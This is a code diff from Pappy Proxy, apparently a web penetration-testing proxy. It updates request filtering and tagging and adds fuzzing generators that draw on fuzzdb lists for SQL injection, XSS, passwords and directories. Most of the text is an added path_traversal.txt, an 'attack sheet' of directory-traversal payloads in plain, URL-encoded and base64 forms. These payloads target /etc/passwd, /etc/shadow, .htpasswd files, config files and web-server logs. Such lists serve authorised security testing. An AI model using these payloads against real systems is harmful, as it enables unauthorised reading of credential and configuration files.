+def gen_filter_by_url_params(keycomparer, keyval, valcomparer=None, valval=None,
                          negate=False):
     def f(req):
         matched = False
-        for k, v in req.get_params.all_pairs():
+        for k, v in req.url_params.all_pairs():
             if keycomparer(k, keyval):
                 if not valcomparer:
                     matched = True
@@ -362,7 +440,7 @@ def gen_filter_by_params(keycomparer, keyval, valcomparer=None, valval=None,
         matched = False
         # purposely don't pass negate here, otherwise we get double negatives
         f1 = gen_filter_by_post_params(keycomparer, keyval, valcomparer, valval)
-        f2 = gen_filter_by_get_params(keycomparer, keyval, valcomparer, valval)
+        f2 = gen_filter_by_url_params(keycomparer, keyval, valcomparer, valval)
         if f1(req):
             matched = True
         if f2(req):
@@ -375,7 +453,7 @@ def gen_filter_by_params(keycomparer, keyval, valcomparer=None, valval=None,
 
     return f
 
-def get_relation(s):
+def get_relation(s, val):
     # Gets the relation function associated with the string
     # Returns none if not found
     if s in ("is",):
@@ -383,21 +461,21 @@ def get_relation(s):
     elif s in ("contains", "ct"):
         return cmp_contains
     elif s in ("containsr", "ctr"):
-        # TODO
-        raise PappyException("Contains (regexp) is not implemented yet. Sorry.")
+        validate_regexp(val)
+        return cmp_containsr
     elif s in ("exists", "ex"):
         return cmp_exists
-    elif s in ("Leq"):
+    elif s in ("Leq",):
         return cmp_len_eq
-    elif s in ("Lgt"):
+    elif s in ("Lgt",):
         return cmp_len_gt
-    elif s in ("Llt"):
+    elif s in ("Llt",):
         return cmp_len_lt
-    elif s in ("eq"):
+    elif s in ("eq",):
         return cmp_eq
-    elif s in ("gt"):
+    elif s in ("gt",):
         return cmp_gt
-    elif s in ("lt"):
+    elif s in ("lt",):
         return cmp_lt
 
     raise FilterParseError("Invalid relation: %s" % s)
@@ -409,27 +487,78 @@ def init():
 @defer.inlineCallbacks
 def reload_from_storage():
     global active_requests
-    active_requests = yield http.Request.load_from_filters(active_filters)
+    global all_reqs
+    active_requests = set()
+    inactive_requests = set()
+    all_reqs = set()
+    reqs = yield http.Request.load_all_requests()
+    for req in reqs:
+        add_request(req)
+        
+def update_active_requests():
+    global active_requests
+    global all_reqs
 
+    inactive_requests = set()
+    active_requests = set()
+    for req in all_reqs:
+        add_request(req)
+    
 def add_filter(filt):
     global active_requests
     global active_filters
     active_filters.append(filt)
-    active_requests = filter_reqs(active_requests, active_filters)
-
+    (active_requests, deleted) = filter_reqs(active_requests, active_filters)
+    for r in deleted:
+        inactive_requests.add(r)
+    
 def add_request(req):
     global active_requests
+    global active_filters
+    global in_memory_requests
+    global all_reqs
+
+    # Check if we have to add it to in_memory
+    if not req.reqid:
+        req.reqid = get_memid()
+    if req.reqid[0] == 'm':
+        in_memory_requests.add(req)
+
+    # Check if we have to add it to active_requests
     if passes_filters(req, active_filters):
-        active_requests.append(req)
-        
+        active_requests.add(req)
+    else:
+        inactive_requests.add(req)
+
+    # Add it to all_reqs
+    all_reqs.add(req)
+    
+def remove_request(req):
+    global in_memory_requests
+    global inactive_requests
+    global active_requests
+    global all_reqs
+
+    if req in in_memory_requests:
+        in_memory_requests.remove(req)
+    if req in inactive_requests:
+        inactive_requests.remove(req)
+    if req in active_requests:
+        active_requests.remove(req)
+    if req in all_reqs:
+        all_reqs.remove(req)
+
 def filter_recheck():
     global active_requests
-    global active_filters
-    new_reqs = []
-    for req in active_requests:
+    global inactive_requests
+    global all_reqs
+    active_requests = set()
+    inactive_requests = set()
+    for req in all_reqs:
         if passes_filters(req, active_filters):
-            new_reqs.append(req)
-    active_requests = new_reqs
+            active_requests.add(req)
+        else:
+            inactive_requests.add(req)
     
 def passes_filters(request, filters):
     for filt in filters:
@@ -437,13 +566,6 @@ def passes_filters(request, filters):
             return False
     return True
 
-def sort(key=None):
-    global active_requests
-    if key:
-        active_requests = sorted(active_requests, key=key)
-    else:
-        active_requests = sorted(active_requests, key=lambda r: r.reqid)
-    
 def in_scope(request):
     global scope
     return passes_filters(request, scope)
@@ -457,12 +579,11 @@ def save_scope():
     global scope
     scope = active_filters[:]
 
-@defer.inlineCallbacks
 def reset_to_scope():
-    global active_filters
     global scope
+    global active_filters
     active_filters = scope[:]
-    yield reload_from_storage()
+    update_active_requests()
     
 def print_scope():
     global scope
@@ -503,3 +624,51 @@ def load_scope(dbpool):
         new_filter = Filter(row[1])
         new_scope.append(new_filter)
     scope = new_scope
+
+def get_memid():
+    global next_in_mem_id
+    i = 'm%d' % next_in_mem_id
+    next_in_mem_id += 1
+    return i
+
+@defer.inlineCallbacks
+def clear_tag(tag):
+    # Remove a tag from every request
+    reqs = yield http.Request.load_requests_by_tag(tag)
+    for req in reqs:
+        req.tags.remove(tag)
+        if req.saved:
+            yield req.async_save()
+    filter_recheck()
+
+@defer.inlineCallbacks
+def async_set_tag(tag, reqs):
+    """
+    async_set_tag(tag, reqs)
+    Remove the tag from every request then add the given requests to memory and
+    give them the tag.
+    """
+    yield clear_tag(tag)
+    for req in reqs:
+        if not req.reqid:
+            req.reqid = get_memid()
+        req.tags.append(tag)
+        add_request(req)
+
+@crochet.wait_for(timeout=180.0)
+@defer.inlineCallbacks
+def set_tag(tag, reqs):
+    yield async_set_tag(tag, reqs)
+
+def validate_regexp(r):
+    try:
+        re.compile(r)
+    except re.error as e:
+        raise PappyException('Invalid regexp: %s' % e)
+
+def filter_up():
+    # Deletes the last filter of the context
+    global active_filters
+    if active_filters:
+        active_filters = active_filters[:-1]
+        filter_recheck()

pappyproxy/iter.py

@@ -0,0 +1,60 @@
+import os
+import itertools
+from .config import PAPPY_DIR
+
+def from_file(fname, intro=False):
+    # Ignores lines until the first blank line, then returns every non-blank
+    # line afterwards
+    full_fname = os.path.join(PAPPY_DIR, 'lists', fname)
+    with open(full_fname, 'r') as f:
+        d = f.read()
+    lines = d.splitlines()
+
+    # Delete until the first blank line
+    if intro:
+        while lines and lines[0] != '':
+            lines = lines[1:]
+
+    # Generate non-blank lines
+    for l in lines:
+        if l:
+            yield l
+        
+def fuzz_path_trav():
+    """
+    Fuzz common values for path traversal.
+    """
+    for l in from_file('path_traversal.txt', True):
+        yield l
+
+def fuzz_sqli():
+    """
+    Fuzz common values that could cause sql errors
+    """
+    for l in from_file('fuzzdb/attack/sql-injection/detect/xplatform.fuzz.txt'):
+        yield l
+        
+def fuzz_xss():
+    """
+    Fuzz values for finding XSS
+    """
+    for l in from_file('fuzzdb/attack/xss/xss-rsnake.fuzz.txt'):
+        yield l
+        
+def common_passwords():
+    """
+    List common passwords
+    """
+    for l in from_file('fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'):
+        yield l
+
+def common_usernames():
+    """
+    List common usernames
+    """
+    for l in from_file('fuzzdb/wordlists-user-passwd/names/namelist.txt'):
+        yield l
+        
+def fuzz_dirs():
+    for l in from_file('fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-small-directories.txt'):
+        yield l

pappyproxy/lists/fuzzdb

@@ -0,0 +1 @@
+Subproject commit 3a35bfdcf5cbfc3598d5c21f7de78a3277b1b259

pappyproxy/lists/path_traversal.txt

@@ -0,0 +1,806 @@
+Via: http://www.vulnerability-lab.com/resources/documents/587.txt
+________  .__                       __                        ___________                                              .__   
+\______ \ |__|______   ____   _____/  |_  ___________ ___.__. \__    ___/___________ ___  __ ___________  ___________  |  |  
+ |    |  \|  \_  __ \_/ __ \_/ ___\   __\/  _ \_  __ <   |  |   |    |  \_  __ \__  \\  \/ // __ \_  __ \/  ___/\__  \ |  |  
+ |    `   \  ||  | \/\  ___/\  \___|  | (  <_> )  | \/\___  |   |    |   |  | \// __ \\   /\  ___/|  | \/\___ \  / __ \|  |__
+/_______  /__||__|    \___  >\___  >__|  \____/|__|   / ____|   |____|   |__|  (____  /\_/  \___  >__|  /____  >(____  /____/
+        \/                \/     \/                   \/                            \/          \/           \/      \/      
+Information:		
+A lot of people asked us regarding our directory traversal pentest sheet for a fuzzer or own scripts. To have 
+some good results you can use the following list with automatic scripts, software or for manually pentesting. This 
+list goes out to all friends, nerds, pentester & exploiters. Please continue the List and we will update it soon.
+Note: This is a technical attack sheet for directory traversal penetration tests.
+
+
+/etc/master.passwd
+/master.passwd
+etc/passwd
+etc/shadow%00
+/etc/passwd
+/etc/passwd%00
+../etc/passwd
+../etc/passwd%00
+../../etc/passwd
+../../etc/passwd%00
+../../../etc/passwd
+../../../etc/passwd%00
+../../../../etc/passwd
+../../../../etc/passwd%00
+../../../../../etc/passwd
+../../../../../etc/passwd%00
+../../../../../../etc/passwd
+../../../../../../etc/passwd%00
+../../../../../../../etc/passwd
+../../../../../../../etc/passwd%00
+../../../../../../../../etc/passwd
+../../../../../../../../etc/passwd%00
+../../../../../../../../../etc/passwd
+../../../../../../../../../etc/passwd%00
+../../../../../../../../../../etc/passwd
+../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../../../../../../../../../../etc/passwd
+../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../../../../../../../../../../../../etc/shadow%00
+
+../../../../../../etc/passwd&=%3C%3C%3C%3C
+../../../administrator/inbox
+../../../../../../../dev
+
+.htpasswd
+passwd
+passwd.dat
+pass.dat
+.htpasswd
+/.htpasswd
+../.htpasswd
+.passwd
+/.passwd
+../.passwd
+.pass
+../.pass
+members/.htpasswd
+member/.htpasswd
+user/.htpasswd
+users/.htpasswd
+root/.htpasswd
+
+db.php
+data.php
+database.asp
+database.js
+database.php
+dbase.php
+admin/access_log
+../users.db.php
+users.db.php
+
+/core/config.php
+config.php
+config.js
+../config.js
+config.asp
+../config.asp
+_config.php
+../_config.php
+../_config.php%00
+../config.php
+config.inc.php
+../config.inc.php
+/config.asp
+../config.asp
+/../../../../pswd
+/admin/install.php
+../install.php
+install.php
+
+..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
+..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow
+..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd
+..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow
+..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed
+..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini
+/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
+
+Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3NoYWRvdw==
+m='../../../../../../../../etc/passwd';
+
+/..\..\..\..\..\..\winnt\win.ini
+../../windows/win.ini
+..//..//..//..//..//boot.ini
+..\../..\../boot.ini
+..\../..\../..\../..\../boot.ini
+\.....\\\.....\\\.....\\\
+=3D "/.." . "%2f..
+d:\AppServ\MySQL
+c:\AppServ\MySQL
+c:WINDOWS/system32/
+/C:\Program Files\
+/D:\Program Files\
+/C:/inetpub/ftproot/
+
+/boot/grub/grub.conf
+/proc/interrupts
+/proc/cpuinfo
+/proc/meminfo
+
+../apache/logs/error.log
+../apache/logs/access.log
+../../apache/logs/error.log
+../../apache/logs/access.log
+../../../apache/logs/error.log
+../../../apache/logs/access.log
+../../../../../../../etc/httpd/logs/acces_log
+../../../../../../../etc/httpd/logs/acces.log
+../../../../../../../etc/httpd/logs/error_log
+../../../../../../../etc/httpd/logs/error.log
+../../../../../../../var/www/logs/access_log
+../../../../../../../var/www/logs/access.log
+../../../../../../../usr/local/apache/logs/access_ log
+../../../../../../../usr/local/apache/logs/access. log
+../../../../../../../var/log/apache/access_log
+../../../../../../../var/log/apache2/access_log
+../../../../../../../var/log/apache/access.log
+../../../../../../../var/log/apache2/access.log
+../../../../../../../var/log/access_log
+../../../../../../../var/log/access.log
+../../../../../../../var/www/logs/error_log
+../../../../../../../var/www/logs/error.log
+../../../../../../../usr/local/apache/logs/error_l og
+../../../../../../../usr/local/apache/logs/error.l og
+../../../../../../../var/log/apache/error_log
+../../../../../../../var/log/apache2/error_log
+../../../../../../../var/log/apache/error.log
+../../../../../../../var/log/apache2/error.log
+../../../../../../../var/log/error_log
+../../../../../../../var/log/error.log
+
+/etc/init.d/apache
+/etc/init.d/apache2
+/etc/httpd/httpd.conf
+/etc/apache/apache.conf
+/etc/apache/httpd.conf
+/etc/apache2/apache2.conf
+/etc/apache2/httpd.conf
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache/conf/httpd.conf
+/opt/apache/conf/httpd.conf
+/home/apache/httpd.conf
+/home/apache/conf/httpd.conf
+/etc/apache2/sites-available/default
+/etc/apache2/vhosts.d/default_vhost.include
+
+
+
+/etc/passwd
+/etc/shadow
+/etc/group
+/etc/security/group
+/etc/security/passwd
+/etc/security/user
+/etc/security/environ
+/etc/security/limits
+/usr/lib/security/mkuser.default
+
+2fetc2fmaster.passwd
+2fmaster.passwd
+etc2fpasswd
+etc2fshadow%00
+2fetc2fpasswd
+2fetc2fpasswd%00
+..2fetc2fpasswd
+..2fetc2fpasswd%00
+..2f..2fetc2fpasswd
+..2f..2fetc2fpasswd%00
+..2f..2f..2fetc2fpasswd
+..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
+..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fshadow%00
+
+2fboot2fgrub2fgrub.conf
+2fproc2finterrupts
+2fproc2fcpuinfo
+2fproc2fmeminfo
+
+..2fapache2flogs2ferror.log
+..2fapache2flogs2faccess.log
+..2f..2fapache2flogs2ferror.log
+..2f..2fapache2flogs2faccess.log
+..2f..2f..2fapache2flogs2ferror.log
+..2f..2f..2fapache2flogs2faccess.log
+..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2facces_log
+..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2facces.log
+..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2ferror_log
+..2f..2f..2f..2f..2f..2f..2fetc2fhttpd2flogs2ferror.log
+..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2faccess_log
+..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2faccess.log
+..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2faccess_ log
+..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2faccess. log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2faccess_log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22faccess_log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2faccess.log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22faccess.log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2faccess_log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2faccess.log
+..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2ferror_log
+..2f..2f..2f..2f..2f..2f..2fvar2fwww2flogs2ferror.log
+..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2ferror_l og
+..2f..2f..2f..2f..2f..2f..2fusr2flocal2fapache2flogs2ferror.l og
+..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2ferror_log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22ferror_log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache2ferror.log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2fapache22ferror.log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2ferror_log
+..2f..2f..2f..2f..2f..2f..2fvar2flog2ferror.log
+
+2fetc2finit.d2fapache
+2fetc2finit.d2fapache2
+2fetc2fhttpd2fhttpd.conf
+2fetc2fapache2fapache.conf
+2fetc2fapache2fhttpd.conf
+2fetc2fapache22fapache2.conf
+2fetc2fapache22fhttpd.conf
+2fusr2flocal2fapache22fconf2fhttpd.conf
+2fusr2flocal2fapache2fconf2fhttpd.conf
+2fopt2fapache2fconf2fhttpd.conf
+2fhome2fapache2fhttpd.conf
+2fhome2fapache2fconf2fhttpd.conf
+2fetc2fapache22fsites-available2fdefault
+2fetc2fapache22fvhosts.d2fdefault_vhost.include
+
+
+
+2fetc2fpasswd
+2fetc2fshadow
+2fetc2fgroup
+2fetc2fsecurity2fgroup
+2fetc2fsecurity2fpasswd
+2fetc2fsecurity2fuser
+2fetc2fsecurity2fenviron
+2fetc2fsecurity2flimits
+2fusr2flib2fsecurity2fmkuser.default
+
+L2V0Yy9tYXN0ZXIucGFzc3dk
+L21hc3Rlci5wYXNzd2Q=
+ZXRjL3Bhc3N3ZA==
+ZXRjL3NoYWRvdyUwMA==
+L2V0Yy9wYXNzd2Q=
+L2V0Yy9wYXNzd2QlMDA=
+Li4vZXRjL3Bhc3N3ZA==
+Li4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3NoYWRvdyUwMA==
+
+Li4vYXBhY2hlL2xvZ3MvZXJyb3IubG9n
+Li4vYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZw==
+Li4vLi4vYXBhY2hlL2xvZ3MvZXJyb3IubG9n
+Li4vLi4vYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZw==
+Li4vLi4vLi4vYXBhY2hlL2xvZ3MvZXJyb3IubG9n
+Li4vLi4vLi4vYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZw==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvYWNjZXNfbG9n
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvYWNjZXMubG9n
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvZXJyb3JfbG9n
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2xvZ3MvZXJyb3IubG9n
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2FjY2Vzc19sb2c=
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2FjY2Vzcy5sb2c=
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc18gbG9n
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzcy4gbG9n
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvYWNjZXNzX2xvZw==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzc19sb2c=
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvYWNjZXNzLmxvZw==
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2FjY2Vzcy5sb2c=
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hY2Nlc3NfbG9n
+Li4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hY2Nlc3MubG9n
